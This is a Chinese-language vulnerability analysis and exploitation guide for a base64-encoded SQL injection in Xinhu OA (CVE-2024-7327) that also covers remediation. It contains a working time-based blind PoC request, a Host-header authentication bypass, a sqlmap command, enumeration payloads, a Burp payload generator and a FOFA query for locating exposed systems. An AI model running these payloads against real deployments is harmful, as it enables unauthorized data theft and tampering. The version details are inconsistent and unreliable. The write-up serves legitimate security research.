代码审计-信呼OA nickName SQL注入漏洞(XVE-2024-19304)
字数 2139 2025-09-01 11:25:53

信呼OA nickName SQL注入漏洞(XVE-2024-19304 & CVE-2024-7327) 深入分析与利用指南

1. 漏洞概述

1.1 基本信息

  • 漏洞名称: 信呼OA nickName SQL注入漏洞
  • 漏洞编号: XVE-2024-19304 & CVE-2024-7327
  • 影响系统: 信呼OA办公系统
  • 影响版本: v2.6.2之前的所有版本
  • 漏洞类型: SQL注入
  • 漏洞位置: /webmain/task/openapi/openmodhetongAction.php文件的dataAction函数

1.2 漏洞描述

该漏洞由于未对用户可控的nickName参数进行有效过滤,导致攻击者可构造恶意SQL语句,从而执行任意数据库操作。漏洞点位于开放API接口,且缺乏有效的鉴权机制,使得攻击者可以相对容易地利用此漏洞。

2. 环境搭建

2.1 准备工作

  1. 下载信呼OA v2.6.2版本:
    https://xinhu-1251238447.file.myqcloud.com/file/xinhu_utf8_v2.6.2.zip
    
  2. 安装小皮面板或其他PHP环境
  3. 准备MySQL数据库

2.2 安装步骤

  1. 解压下载的zip文件到网站根目录
  2. 访问http://xinhu:8000/开始安装
  3. 创建MySQL数据库rockxinhu
  4. 导入数据库文件webmain/install/rockxinhu.sql
  5. 到信呼官网注册并获取key
  6. 返回安装页面,配置数据库连接信息和官网key
  7. 完成安装

3. 漏洞分析

3.1 漏洞位置

  • 文件路径: /webmain/task/openapi/openmodhetongAction.php
  • 漏洞函数: dataAction
  • 关键参数: nickName

3.2 漏洞原理

  1. nickName参数通过GET方式传递
  2. 参数值经过base64解码后直接拼接到SQL查询中
  3. 由于缺乏有效的过滤和参数化查询,导致SQL注入

3.3 代码审计关键点

  1. 参数传递流程:

    • index.php处理URL路由
    • 参数通过m(模块)、d(目录)、a(动作)指定访问路径
    • nickName参数直接通过GET方式获取
  2. SQL注入点分析:

    $nickName = base64_decode($this->get('nickName'));
    $uarr['name'] = $nickName;
    $this->record($uarr);
    
    • nickName参数经过base64解码后直接放入数组
    • 数组直接传递给record方法进行数据库操作
  3. 过滤机制分析:

    • 虽然系统有__construct魔术方法对关键字进行过滤
    • 但由于参数经过base64编码,过滤机制被绕过
    • jmuncode方法中的单引号转义对base64编码的payload无效

3.4 鉴权机制分析

  1. 继承链分析:

    • openmodhetongClassActionopenapiActionmainAction
    • mainAction__construct方法自动调用initAction
  2. 鉴权检查:

    • openapiAction中的initAction方法检查openkey
    • 但存在以下绕过条件:
      • $this->keycheck为false
      • 主机是127.0.0.1
      • 主机IP包含192.168
      • 服务端未配置openkey

4. 漏洞利用

4.1 手工验证POC

GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1
Host: 127.0.0.1

其中:

  • MScgYW5kIHNsZWVwKDUpIw==1' and sleep(5)#的base64编码
  • 成功利用表现为响应延迟5秒

4.2 SQLMap自动化利用

python sqlmap.py -u "http://xinhu:8000/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MS" -p nickName --tamper=base64encode --host="127.0.0.1" --batch --dbms=mysql --level=3 --risk=3

重要参数说明:

  • --tamper=base64encode: 对payload进行base64编码
  • --host="127.0.0.1": 绕过openkey检查
  • --level=3 --risk=3: 因为调用的是record方法(INSERT/UPDATE操作)

4.3 手工注入技术

4.3.1 数据库名枚举

1' AND IF(SUBSTRING(DATABASE(),1,1)='r',SLEEP(5),1)#

base64编码后:

MScgQU5EIElGKFNVQlNUUklORyhEQVRBQkFTRSgpLDEsMSk9J3InLFNMRUVQKDUpLDEpIw==

4.3.2 Burp Intruder爆破配置

  1. 生成字典:

    def generate_sqli_payloads():
        characters = 'abcdefghijklmnopqrstuvwxyz'
        payloads = []
        for position in range(1, 11):
            for char in characters:
                payload = f"1' AND IF(SUBSTRING(DATABASE(),{position},1)='{char}',SLEEP(3),1)#"
                payloads.append(payload)
        return payloads
    
  2. Burp配置:

    • Payload类型:Simple list
    • 取消URL编码
    • 添加Payload Processing规则:Base64-encode
    • 设置单线程(避免干扰时间判断)

5. 漏洞修复建议

  1. 升级版本:

    • 升级到v2.6.2或更高版本
  2. 临时修复措施:

    • nickName参数进行严格过滤
    • 使用参数化查询或预处理语句
    • 加强openkey的校验机制
    • 限制API接口的访问权限
  3. 代码层面修复:

    • openmodhetongAction.php中添加参数过滤
    • 实现严格的输入验证
    • 使用ORM或安全的数据库查询方法

6. 网络测绘

使用FOFA语法搜索受影响系统:

app="信呼-OA系统"

7. 参考资料

  1. FreeBuf原创文章
  2. CVE-2024-7327详情
  3. CVE官方记录
  4. 其他技术分析

8. 漏洞利用注意事项

  1. 法律合规: 未经授权的测试可能违法,务必获得书面授权
  2. 影响评估: 该漏洞可导致数据泄露、篡改或系统沦陷
  3. 测试环境: 建议在隔离环境中进行漏洞验证
  4. 时间盲注: 注意网络延迟对时间盲注判断的影响
  5. 绕过技巧: 实际环境中可能需要尝试多种Host头绕过方式

通过本文的详细分析,安全研究人员可以全面了解该漏洞的原理、利用方法和防御措施,为信呼OA系统的安全防护提供有力支持。

信呼OA nickName SQL注入漏洞(XVE-2024-19304 & CVE-2024-7327) 深入分析与利用指南 1. 漏洞概述 1.1 基本信息 漏洞名称 : 信呼OA nickName SQL注入漏洞 漏洞编号 : XVE-2024-19304 & CVE-2024-7327 影响系统 : 信呼OA办公系统 影响版本 : v2.6.2之前的所有版本 漏洞类型 : SQL注入 漏洞位置 : /webmain/task/openapi/openmodhetongAction.php 文件的 dataAction 函数 1.2 漏洞描述 该漏洞由于未对用户可控的 nickName 参数进行有效过滤,导致攻击者可构造恶意SQL语句,从而执行任意数据库操作。漏洞点位于开放API接口,且缺乏有效的鉴权机制,使得攻击者可以相对容易地利用此漏洞。 2. 环境搭建 2.1 准备工作 下载信呼OA v2.6.2版本: 安装小皮面板或其他PHP环境 准备MySQL数据库 2.2 安装步骤 解压下载的zip文件到网站根目录 访问 http://xinhu:8000/ 开始安装 创建MySQL数据库 rockxinhu 导入数据库文件 webmain/install/rockxinhu.sql 到信呼官网注册并获取key 返回安装页面,配置数据库连接信息和官网key 完成安装 3. 漏洞分析 3.1 漏洞位置 文件路径: /webmain/task/openapi/openmodhetongAction.php 漏洞函数: dataAction 关键参数: nickName 3.2 漏洞原理 nickName 参数通过GET方式传递 参数值经过base64解码后直接拼接到SQL查询中 由于缺乏有效的过滤和参数化查询,导致SQL注入 3.3 代码审计关键点 参数传递流程 : index.php 处理URL路由 参数通过 m (模块)、 d (目录)、 a (动作)指定访问路径 nickName 参数直接通过GET方式获取 SQL注入点分析 : nickName 参数经过base64解码后直接放入数组 数组直接传递给 record 方法进行数据库操作 过滤机制分析 : 虽然系统有 __construct 魔术方法对关键字进行过滤 但由于参数经过base64编码,过滤机制被绕过 jmuncode 方法中的单引号转义对base64编码的payload无效 3.4 鉴权机制分析 继承链分析 : openmodhetongClassAction → openapiAction → mainAction mainAction 的 __construct 方法自动调用 initAction 鉴权检查 : openapiAction 中的 initAction 方法检查 openkey 但存在以下绕过条件: $this->keycheck 为false 主机是127.0.0.1 主机IP包含192.168 服务端未配置openkey 4. 漏洞利用 4.1 手工验证POC 其中: MScgYW5kIHNsZWVwKDUpIw== 是 1' and sleep(5)# 的base64编码 成功利用表现为响应延迟5秒 4.2 SQLMap自动化利用 重要参数说明 : --tamper=base64encode : 对payload进行base64编码 --host="127.0.0.1" : 绕过openkey检查 --level=3 --risk=3 : 因为调用的是record方法(INSERT/UPDATE操作) 4.3 手工注入技术 4.3.1 数据库名枚举 base64编码后: 4.3.2 Burp Intruder爆破配置 生成字典: Burp配置: Payload类型:Simple list 取消URL编码 添加Payload Processing规则:Base64-encode 设置单线程(避免干扰时间判断) 5. 漏洞修复建议 升级版本 : 升级到v2.6.2或更高版本 临时修复措施 : 对 nickName 参数进行严格过滤 使用参数化查询或预处理语句 加强 openkey 的校验机制 限制API接口的访问权限 代码层面修复 : 在 openmodhetongAction.php 中添加参数过滤 实现严格的输入验证 使用ORM或安全的数据库查询方法 6. 网络测绘 使用FOFA语法搜索受影响系统: 7. 参考资料 FreeBuf原创文章 CVE-2024-7327详情 CVE官方记录 其他技术分析 8. 漏洞利用注意事项 法律合规 : 未经授权的测试可能违法,务必获得书面授权 影响评估 : 该漏洞可导致数据泄露、篡改或系统沦陷 测试环境 : 建议在隔离环境中进行漏洞验证 时间盲注 : 注意网络延迟对时间盲注判断的影响 绕过技巧 : 实际环境中可能需要尝试多种Host头绕过方式 通过本文的详细分析,安全研究人员可以全面了解该漏洞的原理、利用方法和防御措施,为信呼OA系统的安全防护提供有力支持。